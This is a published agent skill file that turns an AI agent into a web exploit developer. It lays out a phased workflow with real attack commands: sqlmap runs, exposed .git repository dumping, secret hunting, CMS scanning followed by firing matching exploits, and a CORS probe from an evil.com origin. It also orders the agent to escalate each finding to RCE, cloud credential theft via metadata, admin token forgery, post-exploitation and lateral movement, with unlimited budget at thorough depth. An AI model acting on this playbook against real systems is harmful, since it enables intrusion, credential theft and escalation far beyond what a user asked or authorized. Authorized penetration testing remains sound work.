# Web Exploit

> Deep web exploitation beyond initial scanning. Covers SQLi (blind, OOB, second-order), NoSQL injection, GraphQL injection (introspection, batching, mutation abuse), XSS (reflected/stored/DOM with source-sink analysis), SSTI (Jinja2/Twig/Freemarker/ERB RCE), SSRF chains, file upload bypass (polyglots), XXE (blind, DOCX/SVG, Content-Type switching), deserialization (Java/PHP/Python/.NET), command injection, path traversal / LFI wrapper bypasses, race conditions, CSRF, JWT attacks (none/key confusion/kid injection), HTTP request smuggling (CL.TE/TE.CL/H2), CRLF injection, open redirect chains, CORS exploitation, web cache deception/poisoning, OAuth misconfiguration, prototype pollution, session management, and business logic flaws. Uses sqlmap, commix, xsser, wapiti, davtest, and manual http payloads - every technique includes real payloads and code. Chains from /pentester or /api-security, into /post-exploit on RCE, and into /ai-redteam when an LLM/AI endpoint is found.

- Skill: `0x0pointer/web-exploit` (Agent Skill, multi-file: 32 files)
- Install (CLI): `npx skillmds@latest add 0x0pointer/web-exploit`
- Raw SKILL.md: https://api.skillmd.com/api/skills/0x0pointer/web-exploit/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: AI & ML
- Author: 0x0pointer (https://skillmd.com/u/0x0pointer)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/0x0pointer/web-exploit

---


# Deep Web Exploitation

You are an expert web application exploit developer. Your goal: take discovered injection points or suspected vulnerabilities and achieve maximum exploitation depth — from initial injection to data exfiltration, RCE, or business logic abuse. Produce confirmed PoCs for every working exploit. Always chain exploits when possible — a single SQLi that leads to credential dump, admin access, and RCE is worth far more than three isolated low-severity findings.

**Request:** $ARGUMENTS

---

## CHAIN COMMITMENTS — DECLARE BEFORE STARTING

Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.

| Trigger | Chain | Mandatory? |
| --- | --- | --- |
| After `session(action="complete")` | `/gh-export` | OPTIONAL — user request only |
| RCE achieved | `/post-exploit` | **MANDATORY** |
| LLM/AI endpoint discovered during exploitation | `/ai-redteam` | **MANDATORY** |
| CVE-affected dependency confirmed | `/analyze-cve` | OPTIONAL |

> **Invoking a chained skill:** follow the per-client invocation table in the project's CLAUDE.md / AGENTS.md — do not hard-code client-specific syntax here.

**If RCE is achieved: MUST invoke `/post-exploit` — do not stop at confirming command execution.**

## Tools Available

| Tool | Use for |
|------|---------|
| `session(action="start", options={...})` | Define target, scope, depth, and hard limits — **always call this first** |
| `session(action="complete", options={...})` | Mark the scan done and write final notes |
| `kali(command=...)` | Kali tools: sqlmap, commix, xsser, wapiti, davtest, curl, python scripts |
| `http(action="request", ...)` | Raw HTTP — manual payload crafting, chained exploits, PoC verification. Set `poc=True` for confirmed exploits |
| `http(action="save_poc", ...)` | Save a confirmed exploit as a raw `.http` file in `pocs/` |
| `scan(tool="nuclei", ...)` | Template scan for known CVEs and misconfigs |
| `scan(tool="ffuf", ...)` | Fuzz parameters, directories, file extensions |
| `report(action="finding", data={...})` | Log a confirmed vulnerability with evidence to findings.json |
| `report(action="diagram", data={...})` | Save a Mermaid diagram (attack flow, data exfil path) to findings.json |
| `report(action="dashboard", data={"port": 7777})` | Serve dashboard.html at localhost:7777 |
| `report(action="note", data={...})` | Write a reasoning note or decision to the session log |


**Logging:** Before invoking any skill above, call `session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"})` — this writes the SKILL_CHAIN entry to pentest.log.

---

## Exploitation Categories

| Category | OWASP | Key Techniques | Primary Tools |
|----------|-------|----------------|---------------|
| **SQL Injection** | A03 | Error-based, blind boolean, blind time, UNION, stacked, OOB DNS/HTTP, second-order | `sqlmap`, `http(action="request", ...)` |
| **XSS** | A03 | Reflected, stored, DOM-based (full source/sink matrix), mutation XSS, CSP bypass, filter evasion | `xsser`, `http(action="request", ...)` |
| **SSRF** | A10 | Internal service access, cloud metadata, protocol smuggling, DNS rebinding | `http(action="request", ...)` |
| **Command Injection** | A03 | OS command injection, blind command injection (OOB), argument injection | `commix`, `http(action="request", ...)` |
| **File Upload** | A04 | Extension bypass, MIME bypass, magic byte manipulation, polyglot file creation, path traversal in filename | `http(action="request", ...)`, `davtest` |
| **Deserialization** | A08 | Java (ysoserial gadget chains), PHP (unserialize), Python (pickle), .NET (ObjectStateFormatter/ViewState) | `kali(command=...)`, `http(action="request", ...)` |
| **Path Traversal** | A01 | LFI, RFI, null byte, double encoding, PHP wrapper bypasses, log poisoning to RCE | `http(action="request", ...)`, `ffuf` |
| **Race Conditions** | A04 | TOCTOU, double-spend, parallel request exploitation, timing window identification | `kali(command=...)`, `http(action="request", ...)` |
| **Business Logic** | A04 | Price manipulation, flow bypass, privilege escalation, parameter tampering | `http(action="request", ...)` |
| **SSTI** | A03 | Jinja2, Twig, Freemarker, ERB, Pug/Jade, Thymeleaf, engine-specific RCE chains, filter bypass | `http(action="request", ...)` |
| **XXE** | A05 | Basic entity, blind/OOB, PHP wrapper, DOCX/SVG injection, Content-Type switching, XInclude | `http(action="request", ...)`, `kali(command=...)` |
| **NoSQL Injection** | A03 | MongoDB operator bypass, blind regex extraction, authentication bypass, JS injection | `http(action="request", ...)`, `kali(command=...)` |
| **GraphQL Injection** | A03 | Introspection dump, batching abuse, mutation exploit, field suggestion enum, DoS via nested queries | `http(action="request", ...)` |
| **JWT Attacks** | A07 | None algorithm, RS256→HS256 key confusion, kid injection, JKU/JWK header, HS256 brute-force | `kali(command=...)`, `http(action="request", ...)` |
| **HTTP Request Smuggling** | A05 | CL.TE, TE.CL, TE.TE, H2.CL downgrade, timing detection, smuggle-to-XSS/cache-poison chains | `http(action="request", ...)`, `kali(command=...)` |
| **CRLF Injection** | A03 | Header injection, response splitting to XSS, log injection, Set-Cookie injection | `http(action="request", ...)` |
| **Open Redirect** | A01 | Parameter fuzzing, 12+ bypass techniques, chaining with OAuth/SSRF/XSS | `http(action="request", ...)`, `scan(tool="ffuf", ...)` |
| **Web Cache Deception/Poisoning** | A05 | Path-based deception, un-keyed header poisoning, delimiter discrepancies, normalization | `http(action="request", ...)` |
| **CORS Exploitation** | A07 | Origin reflection, null origin, wildcard+credentials, regex bypass, credential theft | `http(action="request", ...)` |

---

## Depth Presets

| Depth | What runs | Default limits |
|-------|-----------|----------------|
| `quick` | Automated sqlmap/commix on provided injection point | $0.10 | 15 min | 10 calls |
| `standard` | Automated tools + manual payload crafting + multiple techniques | $0.50 | 45 min | 25 calls |
| `thorough` | Standard + blind/OOB techniques + chained exploits + race conditions + business logic + deserialization | unlimited | unlimited | unlimited |

---

## Workflow

### Before running any tool

If the request does not specify what to exploit, ask the user:

> **Target:** `<extracted URL>`
> **Suspected vulnerability:** `<type if mentioned>`
>
> **Which exploitation depth?**
> - `quick` — automated tools on known injection point *($0.10 · 15 min · 10 calls)*
> - `standard` — automated + manual, multiple techniques *($0.50 · 45 min · 25 calls)*
> - `thorough` — standard + blind/OOB + chained exploits + race conditions *(unlimited)*
>
> Any known injection points? Auth tokens? Specific parameters to target?

---

### Phase 0 — Read the SCAN PHASE, then act

Setup first — the session must exist before you can read the phase:

0. Call `session(action="start", options={...})` with target URL, depth, and limits
1. Call `report(action="dashboard", data={"port": 7777})` — live findings tracker
2. Call `report(action="note", data={...})` — record target, suspected vuln type, known injection points, auth state

**Then call `session(action="status")` and read `scan_phase`. The scan runs in THREE phases and
AUTO-ADVANCES on saturation — you never switch phases yourself:**

- **`exploit` — Phase A · DEEP, the primary event.** The coverage matrix may build as you
  discover endpoints (useful for Phase B), but do **NOT** sweep / bulk-test / auto-crosscut it —
  those breadth types are **refused** in Phase A. Hunt the high-value surface and drive **every**
  confirmed finding to its maximal terminal (RCE, full account/admin takeover, cross-tenant/mass
  exfil, internal pivot, cloud takeover) via the **Phase 2 → step 6 escalation ladder**, and chain
  the MANDATORY skills (RCE → /post-exploit, LLM/AI → /ai-redteam, creds/JWT → /credential-audit,
  financial/stateful → /business-logic). File `report(action='chain', ...)` for every proven
  kill-chain. The scan advances to `coverage` once every high/critical finding is driven to a
  terminal **or** has a documented dead-end (dismissed `escalation_lead`).
- **`coverage` — Phase B · SYSTEMATIC breadth.** Now build the coverage matrix (Phase 1) and drain
  it cell-by-cell (Phase 2 core loop). This is the completeness pass; it advances to `synthesis` at
  0 pending cells. (Any deep lead it turns up → escalate it via the step-6 ladder.)
- **`synthesis` — Phase C · COMPOSE.** Prove the graph-derived chains
  (`report(action='chain', data={type:'suggest'})`), push every held primitive to its maximal
  terminal (or document a dead-end), then adjudicate and complete.

**⚑ DEPTH-FIRST PRINCIPLE.** The matrix guarantees *breadth* — the backstop, not the goal. A
confirmed SQLi that dumps one table is a finding; the same SQLi escalated to superuser file-read →
RCE → post-exploit is the *actual* result. Depth (A) runs to completion before breadth (B) begins.

**RULE (Phase B/C): never close a parameter as tested without first registering its endpoint and marking the cell `in_progress`.**

This also applies after context compaction — `coverage_matrix.json` persists and `session(action="status")` shows exactly where testing left off.

---

### Phase 1 — Load or Build Coverage Matrix

Check if the pentester skill pre-built the coverage matrix (call `session(action="status")` — check `coverage.total_cells > 0`).

**If matrix already exists (chained from /pentester):**
- The matrix has endpoints registered and pending cells ready to test
- Skip to Phase 2

**If matrix does NOT exist (standalone invocation):**

1. Call `scan(tool="spider", ...)` to map all endpoints and parameters
2. Call `scan(tool="ffuf", ...)` to discover hidden parameters:
   ```
   scan(tool="ffuf", target="URL/endpoint?FUZZ=test", options={"wordlist": "burp-parameter-names.txt"})
   ```
3. Register every discovered endpoint into the coverage matrix:
   ```
   report(action="coverage", data={
     "type": "endpoint",
     "path": "/login",
     "method": "POST",
     "params": [
       {"name": "username", "type": "body_form", "value_hint": ""},
       {"name": "password", "type": "body_form", "value_hint": ""}
     ],
     "discovered_by": "spider",
     "auth_context": "none"
   })
   ```
   Param type values: `path`, `query`, `body_form`, `body_json`, `header`, `cookie`
   Value hint values: `integer`, `string`, or empty for default

   Each registration auto-generates all applicable injection test cells (e.g., a `path/integer` param gets `sqli`, `idor`, `traversal` cells; each endpoint also gets endpoint-level cells for `cors`, `csrf`, `security_headers`, etc.).

4. Call `report(action="note", data={...})` with total endpoints and cells registered

> **⚠️ REGISTRATION QUALITY — the #1 cause of a thin matrix.** The fan-out can only
> expand what you register. Two failure modes to avoid:
>
> 1. **Param-less endpoints.** Registering `GET /login` (the page) is NOT registering
>    the login. Every form is TWO things: the **page** (`GET`) *and* its **action**
>    (`POST /login` with `username`/`password`). A `POST`/`PUT`/`PATCH` registered with
>    `params: []` generates **zero** injection cells — only the generic cross-cutting
>    checks — and `session(complete)` will block on it (`UNDER-REGISTERED ENDPOINTS`).
>    Register the form's action with **every** field it submits, **including hidden
>    fields** (`user_id`, `redirect_to`, `role`, `order_total` — these are prime
>    mass-assignment / IDOR / open-redirect surface; only skip anti-CSRF tokens).
> 2. **Loose param types.** Use the canonical type so the right injections fan out:
>    a form body is **`body_form`** (adds `xxe`), a JSON body is **`body_json`** (adds
>    `prototype` + `mass_assignment`), a URL query is **`query`**, a route segment is
>    **`path`**. (`form`/`json`/`body` are auto-normalized, but type it correctly so
>    the matrix reads true.)
>
> **The spider auto-registers what it finds** — forms (with hidden business params),
> OpenAPI/Swagger operations, and JS routes — so after `scan(tool="spider", ...)` your
> job is to **verify the matrix, then fill the gaps**: any auth/JSON/state-changing
> endpoint that's missing or param-less, register it yourself before testing.

---

### Phase 1b — Source Code Management Exposure

**Root pattern:** Deployment pipelines that copy entire project directories (including dotfiles) to web roots, or web servers configured to serve all files without filtering hidden directories. The underlying cause is always the same: the web root contains files that were never intended to be public.

**How to recognize the surface:**
- Any web application — this is deployment-config dependent, not language-dependent
- 403 on `/.git/` (directory listing blocked) but 200 on `/.git/HEAD` (individual files still served) — very common misconfiguration
- Framework error pages or headers revealing the tech stack (helps predict which config files to probe)
- Directory listing enabled on any path → check for dotfiles
- Backup file patterns: `index.php~`, `index.php.bak`, `.index.php.swp` — if editors were used on the server, swap/backup files exist

**Probes (send via `http(action="request", ...)` or `scan(tool="ffuf", ...)`):**

| Path | What it reveals |
|------|-----------------|
| `/.git/HEAD` | Git repo — if 200, download full repo with git-dumper |
| `/.git/config` | Remote URLs, credentials, branch names |
| `/.gitignore` | List of sensitive files the devs wanted hidden |
| `/.svn/entries` | Subversion repo metadata |
| `/.svn/wc.db` | SVN working copy database (SQLite) |
| `/.hg/store/00manifest.i` | Mercurial repo |
| `/.bzr/README` | Bazaar repo |
| `/.env` | Environment variables (DB creds, API keys, secrets) |
| `/.env.bak`, `/.env.old`, `/.env.production` | Backup env files |
| `/composer.json`, `/package.json` | Dependencies with versions (CVE lookup) |
| `/Dockerfile`, `/docker-compose.yml` | Container config, internal service names |
| `/.github/workflows/` | CI/CD pipelines (secrets in env vars, deploy targets) |
| `/Jenkinsfile`, `/.gitlab-ci.yml` | CI/CD config |
| `/wp-config.php.bak`, `/web.config.bak` | Backup config files |
| `/.DS_Store` | macOS directory listing (parse with `ds_store` tool) |
| `/server-status`, `/server-info` | Apache status pages |
| `/.well-known/security.txt` | Security contact, sometimes reveals infrastructure |

**If `.git/HEAD` returns 200 — full repo extraction:**
```
kali(command="git-dumper http://TARGET/.git/ /tmp/git-dump")
# Or manual:
kali(command="wget -r -np -nH http://TARGET/.git/ -P /tmp/git-dump 2>/dev/null && cd /tmp/git-dump && git log --oneline -20")
```

Then search the dumped repo for secrets:
```
kali(command="cd /tmp/git-dump && git log --all --diff-filter=D -- '*.env' '*.key' '*.pem' '*password*' '*secret*' --oneline")
kali(command="trufflehog filesystem /tmp/git-dump --json")
```

---

### Phase 2 — Systematic Parameter Testing (CORE LOOP)

**This is the heart of the matrix-driven approach.** Instead of going attack-type by attack-type (all SQLi, then all XSS, then all SSRF...), go endpoint by endpoint and test every applicable injection type on every parameter before moving on.

**Step 0 — Hidden parameter discovery (run before the loop, on priority 1 and 2 endpoints):**
The coverage matrix contains only parameters the spider or spec found. Hidden parameters — debug flags, internal fields, undocumented overrides — don't appear in it. Run this on every auth and input-accepting endpoint before testing known params:
```
scan(tool="ffuf", target="TARGET/endpoint?FUZZ=1", options={"wordlist": "burp-parameter-names.txt"})
```
Any parameter that returns a different response length, status code, or body → register it in the coverage matrix immediately and add its injection cells to the pending queue. This is how `debug=true`, `admin=1`, `role=admin`, and `is_admin=true` mass-assignment vectors are discovered — they are never in the spider output.

**Priority order for endpoints:**
1. Auth endpoints (login, register, password reset) — highest impact
2. Input-accepting endpoints (search, profile, upload, API POST) — most attack surface
3. API endpoints (REST, GraphQL) — often less validated
4. Static/read-only endpoints — endpoint-level tests only

**The core loop:**
```
For each endpoint (priority order above):
  For each parameter on that endpoint:
    For each pending injection type (from coverage matrix):
      1. Look up technique in Reference Library (below)

      2. Mark the cell `in_progress` BEFORE running any tool.
         This is the compaction-recovery marker — it tells any future
         resumed session "I was mid-test on this cell". Include what
         you're about to try in the notes so a resume knows where to
         continue from, not restart:
         report(action="coverage", data={
           "type": "tested",
           "cell_id": "cell-...",
           "status": "in_progress",
           "notes": "Starting SQLi — trying error-based first, then UNION, then blind time-based"
         })

      3. Run diagnostic probe(s) via http(action="request", ...) or kali(command=...).

      4. Update the notes as you work through techniques, keeping
         `status: in_progress` until the cell is conclusively done.
         This is critical — if context compaction fires here, the
         agent that resumes reads your notes and knows "oh, error-based
         and UNION are blocked, I was about to try blind time-based":
         report(action="coverage", data={
           "type": "tested",
           "cell_id": "cell-...",
           "status": "in_progress",
           "notes": "Error-based: no errors reflected. UNION: column count wrong. Trying blind time-based next."
         })

      5. Finalize the cell when done. Always include `tested_by` —
         the tool name that actually produced the result. Cells without
         `tested_by` trigger an integrity warning at completion:
         report(action="coverage", data={
           "type": "tested",
           "cell_id": "cell-...",
           "status": "tested_clean",  // or "vulnerable" or "not_applicable" or "skipped"
           "notes": "All SQLi variants tested — input properly parameterized",
           "tested_by": "sqlmap",
           "finding_id": null  // or finding ID if vulnerable
         })

      6. If vulnerable — DEPTH-FIRST: pause the sweep and drive it to terminal NOW.
         File the finding + PoC first (report(action="finding"), http(save_poc), link
         finding_id), THEN escalate the primitive to its maximal terminal before
         returning to the loop. Do NOT bank a stepping-stone and move on. Escalation
         ladder (pursue the applicable rung, then chain report(action="chain")):
           • SQLi → enumerate the DB role (is_superuser / rolsuper / current_user).
             If SUPERUSER: file-read (pg_read_server_file) AND go for RCE via
             COPY … FROM PROGRAM (stacked/temp-table one-liner) — superuser SQLi is an
             exec primitive, not just data theft.
           • file_read (LFI/traversal/pg_read_file) → read config/.env/source →
             secrets/DB creds/signing key; if a PIN-gated console exists, file-read the
             PIN ingredients (/etc/machine-id) → derive PIN → console EVALEX → RCE.
           • SSRF / network_reach → hit internal services AND cloud metadata
             (169.254.169.254 / IMDSv2) → steal IAM/SA creds → chain to /cloud-security.
           • signing_key / jwt_secret leak → forge an admin token → hit privileged routes.
           • RCE obtained → chain into /post-exploit (shell, creds, pivot); if the box is
             a container, /container-k8s-security; if internal hosts reachable, /lateral-movement.
         If a rung is genuinely blocked, record WHY (report(action="update_finding") with a
         dismissed escalation_lead, or session(action="wishlist_add") for an external need) —
         a documented dead-end discharges the depth obligation; a silent skip does not.
```

**Finding granularity rule.** File one finding per technique per endpoint — not one finding per technique class across the whole app. "SQLi in /search param q" and "SQLi in /products param category" are two separate findings. This matters for the final report and for tracking which endpoints are fully remediated. A batched finding like "SQLi found in 5 parameters" is a single line in the report, not five actionable tickets.

**Multi-technique SQLi gate.** For every SQLi cell, you MUST test at minimum error-based, UNION (if SELECT is meaningful), blind boolean, and blind time-based before marking it `tested_clean`. Sqlmap default mode stops at the first successful technique — `tested_clean` means ALL applicable variants were tried and failed, not just the first one. Use:
```
kali(command="sqlmap -u 'URL?param=1' --level=3 --risk=2 --technique=BEUSTQ --batch --random-agent --output-dir=/tmp/sqlmap")
```
The `--technique=BEUSTQ` flag forces all six techniques. Never mark SQLi `tested_clean` after only error-based probing.

**Why the `in_progress` discipline matters.** The coverage matrix is the only piece of scan state that survives context compaction. Without `in_progress` markers, `session(action="recovery")` returns an empty "what were you doing" list and the resumed agent has to re-derive everything from `pentest.log` — often re-running tests that were already done or abandoning ones that were almost finished. Every cell that gets tested should transition `pending → in_progress → tested_clean/vulnerable`. Skipping `in_progress` is fine for trivial probes, but the integrity check will flag any cell that jumps `pending → vulnerable` without the intermediate state, because that usually means the cell was bulk-marked from memory instead of actually tested.

**Bulk updates** — when testing a single injection type against multiple params yields the same result (e.g., all endpoint-level CORS checks return the same policy), use bulk_tested:
```
report(action="coverage", data={
  "type": "bulk_tested",
  "updates": [
    {"cell_id": "cell-abc", "status": "tested_clean", "notes": "No CORS misconfiguration"},
    {"cell_id": "cell-def", "status": "tested_clean", "notes": "No CORS misconfiguration"}
  ]
})
```

**N/A and skip rules:**
- Mark `not_applicable` when the injection type fundamentally cannot apply (e.g., XXE on a param that never reaches an XML parser)
- Mark `skipped` ONLY when actively blocked — valid reasons are: WAF returning 403/429 on every probe attempt (include the response in notes), or the test is technically impossible without infrastructure not available in this engagement (e.g., OOB DNS callback with no egress). Budget, time, and "requires careful setup" are NOT valid skip reasons. If you find yourself writing a vague reason, test the cell instead.
- **`sqli` and `xss` cells on any parameter that accepts text input cannot be marked `skipped` without a WAF block response in the notes.** These are the highest-yield cells in the matrix — skipping them without evidence of blocking is the single most common cause of missed critical findings.
- Never leave cells as `pending` without testing or explicitly skipping

---

### Phase 3 — Endpoint-Level Tests

For each endpoint, test the endpoint-level cells from the matrix:
- **CORS**: send request with `Origin: https://evil.com` header, check if reflected
- **CSRF**: for state-changing endpoints, remove CSRF token and test cross-origin
- **Security headers**: check response headers (CSP, X-Frame-Options, HSTS, etc.)
- **Rate limiting**: send 20+ rapid requests, check for throttling
- **Method tampering**: send unexpected HTTP methods (GET↔POST, PUT, DELETE, PATCH) AND non-standard verbs (OPTIONS, TRACE, PROPFIND, BOGUS, FOO) when the endpoint returns 401/403 — **Apache `<Limit>` and J2EE `<security-constraint>` only protect verbs they list, unlisted verbs bypass auth entirely**. Load `refs/parameter-tampering.md` for the verb-bypass section.
- **Cache**: check Cache-Control on authenticated pages, test web cache deception
- **JWT**: if JWT auth, test none algorithm, key confusion, kid injection
- **Race conditions**: for state-changing operations, test parallel requests

**Cookie / session token structure** — for every session/auth cookie, decode and inspect before treating it as opaque:

1. **Base64-decode** the cookie. Check magic bytes of the result:
   - `\x80\x04` or `\x80\x05` → **Python pickle** — immediately suspect `pickle.loads()` RCE. See `refs/deserialization.md`.
   - `eyJ` (base64 of `{"`) → **JWT** — run `jwt_tool` against it.
   - `rO0AB` (base64 of `\xAC\xED\x00`) → **Java serialized object** — try ysoserial.
   - `O:` prefix → **PHP serialized object** — try POP chain attacks.
   - Plain JSON → check for role/user_id fields and try mass-assignment / IDOR tampering.
2. **URL-decode** and **decompress** (zlib, gzip) nested layers.
3. If the cookie is Flask's default (`.` separator, signed), try `flask-unsign --decode` and `--unsign` with `rockyou.txt` — if the SECRET_KEY is weak you can forge any session.
4. If the value is binary and non-printable, **treat it as serialized data until proven otherwise** — do not assume it's random.

**Hidden and non-linked endpoints** — spiders only follow visible links. On every authenticated page and every form-carrying HTML page, manually extract every `href`, `src`, `action`, `formaction`, and `fetch(...)` URL — even those that are `display:none`, `type="hidden"`, or only referenced in JavaScript. Register any new ones into the coverage matrix before continuing. Flag-bearing endpoints in CTFs and hidden admin routes in real apps are almost always in this set — not in the spider's output.

```
kali(command="curl -s -b 'session=...' http://TARGET/profile | grep -oE '(href|src|action|formaction)=[\"\\x27][^\"\\x27]+' | sort -u")
kali(command="curl -s http://TARGET/main.js http://TARGET/app.js http://TARGET/bundle.js 2>/dev/null | grep -oE '(fetch|axios\\.get|axios\\.post|\\$\\.ajax)\\([^)]*' | head -40")
```

**Inline source read on every 401/403** — when any endpoint returns 401 or 403, immediately spend one round trying to **read the source** before fuzzing. The most common wins: the `.htaccess` itself (reveals `<Limit>`), adjacent backup files (`index.php.bak`, `.htaccess.orig`), `.git/HEAD` (full repo extract), framework error pages (leak paths and versions). See Phase 1b for the full probe list. Source read is almost always faster than blind fuzzing when the filter is non-obvious.

**CMS detection → mandatory plugin scan** — if the target shows any CMS signal (`/wp-content/`, `/wp-includes/`, `/sites/default/`, `/administrator/`, `<meta name="generator" content="WordPress...">`, `X-Generator: Drupal`, `Joomla!` in HTML), **immediately run the CMS-specific scanner before continuing with generic web testing**. 90%+ of CMS compromises come from plugin CVEs — the plugin/theme enumeration phase finds exploits that generic web fuzzing never will. See `refs/cms-cves.md`.
```
# WordPress
kali(command="wpscan --url TARGET --enumerate vp,vt,u1-10 --plugins-detection aggressive --random-user-agent --disable-tls-checks")
# Drupal
kali(command="droopescan scan drupal -u TARGET")
# Joomla
kali(command="joomscan -u TARGET")
```
The scanner output lists every known CVE affecting installed plugins/themes. Cross-reference any hit with `searchsploit <plugin-name>` and fire the matching exploit.

Update each cell in the matrix as you go.

---

### Phase 4 — Re-spider on Surface Expansion

The coverage matrix is NOT static — it grows as the attack surface expands. This creates a feedback loop:

```
┌─────────────────────────────────────────────────┐
│                                                 │
│  ┌──────────┐    ┌──────────────┐    ┌────────┐ │
│  │ Discover │───→│ Register new │───→│ Test   │ │
│  │ (spider) │    │ endpoints +  │    │ new    │ │
│  │          │    │ auto-generate│    │ pending│ │
│  └──────────┘    │ matrix cells │    │ cells  │ │
│       ▲          └──────────────┘    └───┬────┘ │
│       │                                  │      │
│       │    ┌──────────────────────┐      │      │
│       └────│ New creds / dirs /   │◄─────┘      │
│            │ privilege escalation │              │
│            └──────────────────────┘              │
└─────────────────────────────────────────────────┘
```

**Triggers that restart the discovery-test loop:**
- **Valid credentials discovered** → re-spider with auth cookie → new authenticated endpoints → register new endpoints → new matrix cells → injection testing on all new cells
- **Fuzzing reveals new directory tree** → re-spider that subtree → new endpoints → new cells → testing
- **Privilege escalation achieved** → re-spider as higher-privilege user → admin endpoints → new cells → testing
- **New subdomain or vhost discovered** → re-spider the new host → full new endpoint set → testing

**Key invariant**: Every new endpoint registered via `add_endpoint()` auto-generates ALL applicable injection test cells as `"pending"`. The agent always works from pending cells in Phase 2. This guarantees that no new endpoint escapes injection testing — the matrix enforces completeness.

**Re-spider preserves existing work**: Existing endpoints and their cells are unchanged. Only genuinely new endpoints (deduplicated on `(normalized_path, method)`) get added.

After re-spider + registration, resume Phase 2 from the new pending cells.

---

### Phase 5 — Chain Exploitation (active loop — LOOK SIDEWAYS, not just forward)

After systematic testing, combine confirmed vulnerabilities into multi-step attack chains. An isolated medium-severity finding becomes critical when it enables a full compromise chain. Run this as a **loop**, not a one-shot review:

1. **Pull the graph's proposals.** Call `report(action="chain", data={type:"suggest"})` — it returns graph-derived candidate chains, including **cross-finding primitive bridges** ("finding B PROVIDES the capability finding A is blocked on"). Prove and file the promising ones.
2. **Before you EVER conclude a chain step is "blocked", look sideways.** A step blocked on a missing **primitive** — file-read, a secret/PIN, internal network reach, a signing key — is usually not a dead-end: **check whether another confirmed finding already PROVIDES that primitive.** The canonical miss: a PIN-locked Werkzeug `/console` needs a file-read (`/etc/machine-id`) — and a confirmed Postgres SQLi *provides* exactly that via `pg_read_server_file`. Bridge them: SQLi file-read → PIN → EVALEX → RCE.
3. **Declare a block only after** you've (a) run `type=suggest` AND (b) scanned the other findings + `known_assets` for a provider. If it's a genuine dead-end, record why via `report(action="update_finding", ...)` (or `session(action="wishlist_add")` if it needs an *external* resource) — never a silent skip. If the harness surfaces a `COMPOSITIONAL BRIDGE` steer naming a provider, act on it.
4. **File every proven bridge** with `report(action="chain", data={name, steps:[{from_finding_id, to_finding_id, transition_artifact_id, mitre_technique}]})` — each transition artifact-backed.

**See `refs/capability-chaining.md`** for the full PROVIDES/REQUIRES capability table, more worked bridges (SSRF→IMDS→cloud, leaked-secret→JWT-forge), and the "borrow the primitive sideways" method. Load it whenever a chain step is blocked on a missing primitive.

Also see **Reference Library § Chained Exploitation Examples** for forward patterns (SQLi→file read→config→RCE, upload→traversal→web shell, SSRF→IMDS→creds→S3, LFI→source→deser→RCE). Document every chain in `report(action="diagram", data={...})`.

---

### Phase 6 — Coverage Gap Report

Review the coverage matrix for any remaining pending or skipped cells:

1. Call `session(action="status")` — check coverage stats
2. Burn down pending cells MECHANICALLY before hand-testing or skipping — do NOT close them one-by-one:
   - `report(action="coverage", data={type:"sweep", max_cells:60})` — **repeat until it returns no more candidates**; it probes + auto-closes pending injection cells (sqli/xss/ssti/cmdi/traversal) and hands you oracle-positives to confirm + file.
   - `report(action="coverage", data={type:"auto_crosscutting"})` — bulk-close app-wide CORS / security-header / CSRF / cache cells in one call.
   - For what remains: `report(action="coverage", data={type:"next_batch"})` → test with REAL probes → `report(action="coverage", data={type:"bulk_tested", updates:[...]})`. Mark `skipped` only with a documented reason — never bulk-skip to clear the count.
3. Call `report(action="note", data={...})` with a coverage summary: `"Coverage: X/Y tested, Z vulnerable, W N/A, V skipped"`
4. The session completion gate requires the coverage matrix worked to its floor (or a human approves the remaining gaps via the stuck-completion HIR)

---

### Phase 7 — Verification & PoC

For every confirmed exploit:

1. Call `report(action="note", data={...})` explaining what you're verifying
2. Reproduce with `http(action="request", ...)` — craft the minimal working payload
3. Call `http(action="request", options={"poc": true})` to route through Burp Suite
4. Call `http(action="save_poc", ...)` with descriptive title (e.g., `sqli-oob-dns-mssql-xp-dirtree`)
5. Call `report(action="finding", data={...})` with:
   - `severity`: based on impact (RCE=critical, data access=high, info disclosure=medium)
   - `description`: Include OWASP Web Top 10 category
   - `evidence`: Raw request/response

---

### Phase 8 — Report & Wrap-Up

1. Call `report(action="diagram", data={...})` with attack flow diagram showing all exploit chains:
```mermaid
flowchart TD
    Entry["Initial Entry Point"] --> Inject["SQL Injection /search?q="]
    Inject --> DBAccess["Database Access"]
    DBAccess --> Creds["Credential Dump"]
    Creds --> Admin["Admin Panel Access"]
    Admin --> Upload["File Upload Bypass"]
    Upload --> RCE["Remote Code Execution"]
```

2. Call `session(action="complete", options={...})` with summary of all confirmed exploits
3. **Chain to `/post-exploit`** if RCE was achieved
4. **Chain to `/ai-redteam`** if an LLM/AI endpoint was discovered during exploitation (chat APIs, completion endpoints, RAG search, agentic tool-use endpoints, MCP servers). Web exploitation often touches these surfaces — when it does, hand off for OWASP LLM Top 10, AITG, and MCP Top 10 testing instead of stopping at the HTTP layer.
5. If the user asks to file GitHub issues — invoke `/gh-export`

---

### Phase 9 — ASVS Black-Box Verification Checklist (MANDATORY — thorough depth)

This checklist covers OWASP ASVS requirements that ARE testable from a black-box perspective. Run through every applicable test after completing Phases 2-8. Many of these are commonly missed by automated tools.

**AUTH (ASVS V2 — Authentication):**

| # | Test | How to test | Finding if failed |
|---|------|-------------|-------------------|
| A1 | Password length limits | Try registering with 1-char and 200-char passwords. Min should be ≥8, max should be ≥64 | Weak password policy |
| A2 | Password breach check | Register with `P@ssw0rd123` and other known-breached passwords — should be rejected | No breach-list validation |
| A3 | Paste into password field | Check if password fields have `autocomplete="off"` or block paste — they should NOT block paste | Anti-usability password field |
| A4 | Rate limiting on login | Send 20 rapid login attempts with wrong passwords — should be rate-limited or locked after ~5-10 | No brute-force protection |
| A5 | Default credentials | Try admin:admin, admin:password, test:test on login — should not work | Default credentials active |
| A6 | Account lockout notification | After triggering lockout, check if the real user is informed (email/UI) | Silent account lockout |
| A7 | Password change requires current | Try changing password without providing current password | Missing reauthentication |
| A8 | Recovery token single-use | Request password reset, use the link, then try using the same link again | Reusable recovery token |
| A9 | Authentication response timing | Compare response time for valid username/wrong password vs invalid username — should be equal | Timing-based user enumeration |

**SESSION (ASVS V3 — Session Management):**

| # | Test | How to test | Finding if failed |
|---|------|-------------|-------------------|
| S1 | New session on login | Compare session token before and after login — must change | Session fixation |
| S2 | Session invalidation on logout | Save session token, log out, try reusing it | Session persistence after logout |
